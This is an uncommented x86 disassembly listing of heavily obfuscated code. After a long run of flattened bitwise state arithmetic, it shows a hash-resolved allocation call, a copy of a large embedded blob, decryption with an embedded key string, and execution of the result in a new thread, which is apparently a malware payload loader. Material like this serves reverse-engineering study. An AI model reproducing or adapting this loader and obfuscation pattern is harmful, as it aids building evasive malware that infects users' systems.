mov byte [ebp - 0x4b9], al
mov al, byte [ebp - 0x4b0]
and al, ah
mov ah, byte [ebp - 0x4b0]
xor ah, 0xff
and bh, ah
or al, bh
mov ah, byte [ebp - 0x4b9]
and ah, al
mov bh, byte [ebp - 0x4b9]
xor bh, al
or ah, bh
mov al, dh
xor al, 0xff
mov bh, cl
xor bh, al
and bh, cl
mov al, cl
xor al, 0xff
mov byte [ebp - 0x4ba], al
mov al, dh
mov byte [ebp - 0x4bb], cl
mov cl, byte [ebp - 0x4ba]
and al, cl
xor dh, 0xff
mov cl, byte [ebp - 0x4bb]
and cl, dh
or al, cl
mov cl, bh
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x4bc], al
mov al, dl
xor al, 1
mov byte [ebp - 0x4bd], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x4be], al
mov al, byte [ebp - 0x4bd]
and bh, al
mov al, dh
and al, 0xff
mov byte [ebp - 0x4bf], al
mov al, byte [ebp - 0x4bc]
mov byte [ebp - 0x4c0], cl
mov cl, byte [ebp - 0x4bd]
and al, cl
mov cl, byte [ebp - 0x4be]
or cl, bh
mov bh, byte [ebp - 0x4bf]
or bh, al
xor cl, bh
mov al, byte [ebp - 0x4c0]
or al, dh
xor al, 0xff
mov dh, byte [ebp - 0x4bd]
or dh, 1
and al, dh
or cl, al
mov al, ah
xor al, 0xff
and al, 1
mov dh, dl
xor dh, 1
mov bh, ah
and bh, dh
mov byte [ebp - 0x4c1], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
mov byte [ebp - 0x4c2], al
mov al, byte [ebp - 0x4c1]
or al, bh
mov bh, byte [ebp - 0x4c2]
or bh, dh
xor al, bh
xor al, 0xff
mov dh, cl
xor dh, al
and dh, cl
mov al, cl
xor al, 0xff
and al, 1
mov bh, dl
xor bh, 1
and cl, bh
mov byte [ebp - 0x4c3], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x4c4], al
mov al, byte [ebp - 0x4c3]
or al, cl
mov cl, byte [ebp - 0x4c4]
or cl, bh
xor al, cl
xor al, 0xff
mov cl, ah
xor cl, al
and cl, ah
mov al, dh
and al, cl
xor dh, cl
or al, dh
mov cl, byte [ebp - 0x4af]
xor cl, 0xff
mov ah, bl
xor ah, 0xff
mov dh, dl
xor dh, 0
or cl, ah
or dh, 0
xor cl, 0xff
and cl, dh
mov ah, byte [ebp - 0x4af]
xor ah, 0xff
mov dh, bl
and dh, ah
xor bl, 0xff
mov ah, byte [ebp - 0x4af]
and ah, bl
or dh, ah
mov ah, cl
xor ah, 0xff
mov bl, dh
xor bl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x4c5], al
mov al, ah
and al, 0xff
and cl, bh
mov byte [ebp - 0x4c6], al
mov al, bl
and al, 0xff
and dh, bh
mov byte [ebp - 0x4c7], al
mov al, byte [ebp - 0x4c6]
or al, cl
mov cl, byte [ebp - 0x4c7]
or cl, dh
xor al, cl
or ah, bl
xor ah, 0xff
or bh, 1
and ah, bh
or al, ah
mov cl, al
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
mov dh, al
and dh, ah
mov bl, dl
xor bl, 1
and bl, 0
and ah, 1
or cl, dh
or bl, ah
xor cl, bl
mov ah, dl
xor ah, 1
xor cl, 0xff
mov dh, dl
xor dh, 1
or ah, cl
or dh, 1
xor ah, 0xff
and ah, dh
mov cl, dl
xor cl, 1
and cl, 0
mov dh, dl
xor dh, 0
mov bl, dh
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0
and dh, 1
or cl, bl
or bh, dh
xor cl, bh
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, ah
xor al, 0xff
mov cl, dh
xor cl, 0xff
mov bl, dl
xor bl, 1
mov bh, al
and bh, 0xff
and ah, bl
mov byte [ebp - 0x4c8], al
mov al, cl
and al, 0xff
and dh, bl
or bh, ah
or al, dh
xor bh, al
mov al, byte [ebp - 0x4c8]
or al, cl
xor al, 0xff
or bl, 1
and al, bl
or bh, al
mov al, dl
xor al, 1
and al, 1
mov cl, dl
xor cl, 1
mov ah, cl
and ah, 1
mov dh, dl
xor dh, 1
and dh, 0xff
and cl, 1
or al, ah
or dh, cl
xor al, dh
mov cl, ch
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
mov dh, ch
and dh, ah
mov bl, dl
xor bl, 1
and bl, 0
and ah, 1
or cl, dh
or bl, ah
xor cl, bl
mov ah, dl
xor ah, 1
and ah, 1
mov dh, dl
xor dh, 1
and dh, 1
or ah, dh
mov dh, al
xor dh, 0xff
mov bl, dl
xor bl, 1
mov byte [ebp - 0x4c9], al
mov al, dl
xor al, 1
or dh, bl
or al, 1
xor dh, 0xff
and dh, al
mov al, dl
xor al, 1
mov bl, ah
xor bl, 0xff
mov byte [ebp - 0x4ca], al
mov al, dl
xor al, 0
mov byte [ebp - 0x4cb], al
mov al, byte [ebp - 0x4ca]
or al, bl
mov bl, byte [ebp - 0x4cb]
or bl, 0
xor al, 0xff
and al, bl
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0x4cc], al
mov al, dl
xor al, 1
mov byte [ebp - 0x4cd], al
mov al, dl
xor al, 1
mov byte [ebp - 0x4ce], al
mov al, byte [ebp - 0x4cd]
or bl, al
mov al, byte [ebp - 0x4ce]
or al, 1
xor bl, 0xff
and bl, al
xor ch, 0xff
mov al, ah
xor al, 0xff
mov byte [ebp - 0x4cf], al
mov al, dl
xor al, 0
mov byte [ebp - 0x4d0], al
mov al, byte [ebp - 0x4cf]
or ch, al
mov al, byte [ebp - 0x4d0]
or al, 0
xor ch, 0xff
and ch, al
mov al, dh
mov byte [ebp - 0x4d1], cl
mov cl, byte [ebp - 0x4cc]
and al, cl
xor dh, cl
or al, dh
mov dh, bl
and dh, ch
xor bl, ch
or dh, bl
mov ch, al
xor ch, 0xff
mov bl, dh
and bl, ch
xor dh, 0xff
and al, dh
or bl, al
mov al, byte [ebp - 0x4c9]
mov ch, byte [ebp - 0x4d1]
and al, ch
mov dh, byte [ebp - 0x4c9]
xor dh, ch
or al, dh
mov dh, al
xor dh, 0xff
and dh, 0
mov cl, dl
xor cl, 0
and al, cl
mov ch, dl
xor ch, 1
and ch, 0
and cl, 1
or dh, al
or ch, cl
xor dh, ch
mov al, ah
and al, 1
xor ah, 1
or al, ah
xor al, 0xff
mov cl, dh
xor cl, al
and cl, dh
mov al, bl
xor al, 0xff
mov ah, cl
xor ah, 0xff
mov ch, dl
xor ch, 1
mov dh, al
and dh, 0xff
and bl, ch
mov byte [ebp - 0x4d2], al
mov al, ah
and al, 0xff
and cl, ch
or dh, bl
or al, cl
xor dh, al
mov al, byte [ebp - 0x4d2]
or al, ah
xor al, 0xff
or ch, 1
and al, ch
or dh, al
mov al, bh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
and bh, cl
or al, bh
mov cl, dh
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and dh, ah
or cl, dh
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
and ch, 1
or ah, ch
mov ch, al
xor ch, 0xff
mov dh, cl
xor dh, 0xff
mov bl, dl
xor bl, 0
mov bh, ch
and bh, 0
and al, bl
mov byte [ebp - 0x4d3], al
mov al, dh
and al, 0
and cl, bl
mov byte [ebp - 0x4d4], al
mov al, byte [ebp - 0x4d3]
or bh, al
mov al, byte [ebp - 0x4d4]
or al, cl
xor bh, al
or ch, dh
xor ch, 0xff
or bl, 0
and ch, bl
or bh, ch
mov al, ah
and al, 1
xor ah, 1
or al, ah
mov cl, bh
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and bh, ah
mov ch, dl
xor ch, 1
and ch, 0xff
and ah, 1
or cl, bh
or ch, ah
xor cl, ch
xor al, 0xff
mov ah, cl
xor ah, al
and ah, cl
mov al, ah
xor al, 0xff
mov cl, byte [ebp - 0x4c5]
xor cl, al
mov al, byte [ebp - 0x4c5]
and cl, al
xor al, 0xff
mov ch, ah
and ch, al
xor ah, 0xff
mov al, byte [ebp - 0x4c5]
and al, ah
or ch, al
mov al, cl
xor al, 0xff
mov ah, ch
xor ah, 0xff
xor dl, 0
mov dh, al
and dh, 0
and cl, dl
mov bl, ah
and bl, 0
and ch, dl
or dh, cl
or bl, ch
xor dh, bl
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or dh, al
test dh, 1
mov esi, dword [ebp - 0x494]
mov edi, dword [ebp - 0x49c]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x6e96f5
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
mov eax, esp
push eax
mov ecx, esp
push eax
mov edx, esp
push eax
mov esi, esp
mov dword [ebp - 0x4d8], eax
mov dword [ebp - 0x4dc], ecx
mov dword [ebp - 0x4e0], edx
mov dword [ebp - 0x4e4], esi
call fcn.00651460
mov ecx, 0x9ce0d4a
mov edx, dword [ebp - 0x4d8]
mov dword [edx], eax
mov eax, dword [edx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x9ce0d4a
mov dword [ebp - 0x4e8], ecx
call fcn.00679de0
add esp, 8
lea ecx, str.VlaVcoPbdwH3POJ1cy652kSI4
mov edx, dword [ebp - 0x4dc]
mov dword [edx], eax
sub esp, 4
mov dword [esp], ecx
call sub.msvcrt.dll__strdup_1
add esp, 4
xor ecx, ecx
mov edx, 0x2ac00
mov esi, 0x3000
mov edi, 4
mov ebx, dword [ebp - 0x4e0]
mov dword [ebx], eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2ac00
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
mov eax, dword [ebp - 0x4dc]
mov dword [ebp - 0x4ec], ecx
mov dword [ebp - 0x4f0], edx
mov dword [ebp - 0x4f4], esi
mov dword [ebp - 0x4f8], edi
call dword [eax]
mov ecx, dword [ebp - 0x4e4]
mov dword [ecx], eax
mov dword [ebp - 0x28], 0xb92787d8
jmp 0x6e96f5
lea eax, [0x6ed404]
mov ecx, 0x2ac00
mov edx, dword [ebp - 0x1c]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x2ac00
mov dword [ebp - 0x4fc], ecx
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x20]
mov edx, dword [edx]
sub esp, 4
mov dword [esp], edx
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x504], ecx
call sub.KERNEL32.dll_lstrlenA
mov ecx, 0x2ac00
sub esp, 0x10
mov edx, dword [ebp - 0x500]
mov dword [esp], edx
mov edx, dword [ebp - 0x504]
mov dword [esp + 4], edx
mov dword [esp + 8], 0x2ac00
mov dword [esp + 0xc], eax
mov dword [ebp - 0x508], ecx
call fcn.00658de0
add esp, 0x10
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
sub esp, 4
mov dword [esp], ecx
mov dword [ebp - 0x50c], eax
call fcn.00693fe0
add esp, 4
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], 0x8c0a2e23
mov dword [ebp - 0x510], eax
jmp 0x6e96f5
xor eax, eax
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [ebp - 0x514], eax
call sub.KERNEL32.dll_CreateThread
mov ecx, 0xffffffff
mov edx, dword [ebp - 0x14]
mov dword [edx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
mov dword [ebp - 0x518], ecx
call sub.KERNEL32.dll_WaitForSingleObject
mov dword [ebp - 0x28], 0x58d5b677
mov dword [ebp - 0x51c], eax
jmp 0x6e96f5
mov dword [ebp - 0x28], 0x6c987d50
jmp 0x6e96f5
mov dword [ebp - 0x28], 0x88ad8e40
jmp 0x6e1fbc